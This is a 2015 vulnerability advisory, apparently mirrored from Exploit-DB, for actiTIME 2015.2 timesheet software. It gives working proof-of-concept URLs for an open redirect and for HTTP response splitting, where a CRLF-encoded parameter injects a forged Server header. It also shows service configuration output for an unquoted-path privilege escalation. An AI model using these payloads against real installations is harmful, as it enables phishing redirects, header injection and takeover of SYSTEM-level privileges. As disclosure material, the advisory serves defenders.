actiTIME 2015.2 Multiple Vulnerabilities

vendor:

actiTIME

by:

Gjoko 'LiquidWorm' Krstic

8,8

CVSS

HIGH

Open Redirection, HTTP Response Splitting and Unquoted Service Path Elevation Of Privilege

601, 113, 462

CWE

Product Name: actiTIME

Affected Version From: 2015.2 (Small Team Edition)

Affected Version To: 2015.2 (Small Team Edition)

Patch Exists: YES

Related CWE: N/A

CPE: a:actimind:actitime

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 7 6.1 for x86

2015

actiTIME 2015.2 Multiple Vulnerabilities

actiTIME is a web timesheet software. It suffers from multiple security vulnerabilities including: Open Redirection, HTTP Response Splitting and Unquoted Service Path Elevation Of Privilege.

Mitigation:

Ensure that the application is properly configured and that all security patches are up to date.

Source

Exploit-DB raw data:


actiTIME 2015.2 Multiple Vulnerabilities


Vendor: Actimind, Inc.
Product web page: http://www.actitime.com
Affected version: 2015.2 (Small Team Edition)

Summary: actiTIME is a web timesheet software. It allows you to
enter time spent on different work assignments, register time offs
and sick leaves, and then create detailed reports covering almost
any management or accounting needs.

Desc: The application suffers from multiple security vulnerabilities
including: Open Redirection, HTTP Response Splitting and Unquoted
Service Path Elevation Of Privilege.

Tested on: OS/Platform:	Windows 7 6.1 for x86
           Servlet Container: Jetty/5.1.4
           Servlet API Version: 2.4
           Java: 1.7.0_76-b13
           Database: MySQL 5.1.72-community-log
           Driver: MySQL-AB JDBC Driver mysql-connector-java-5.1.13
           Patch level: 28.0


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Advisory ID: ZSL-2015-5273
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5273.php


13.10.2015

--



1. Open Redirect
-----------------

http://localhost/administration/settings.do?redirectUrl=http://zeroscience.mk&submitted=1


2. HTTP Response Splitting
---------------------------

http://localhost/administration/settings.do?redirectUrl=%0a%0dServer%3a%20Waddup%2f2%2e0&submitted=1

Response:

HTTP/1.1 302 Moved Temporarily
Date: Wed, 14 Oct 2015 09:32:05 GMT
Server: Jetty/5.1.4 (Windows 7/6.1 x86 java/1.7.0_76
Content-Type: text/html;charset=UTF-8
Cache-Control: no-store, no-cache
Pragma: no-cache
Expires: Tue, 09 Sep 2014 09:32:05 GMT
X-UA-Compatible: IE=Edge
Location: http://localhost/administration/
Server: Waddup/2.0
Content-Length: 0


3. Unquoted Service Path Elevation Of Privilege
------------------------------------------------

C:\Users\joxy>sc qc actiTIME
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: actiTIME
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\actiTIME\actitime_access.exe startAsService
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : actiTIME Server
        DEPENDENCIES       : actiTIME MySQL
        SERVICE_START_NAME : LocalSystem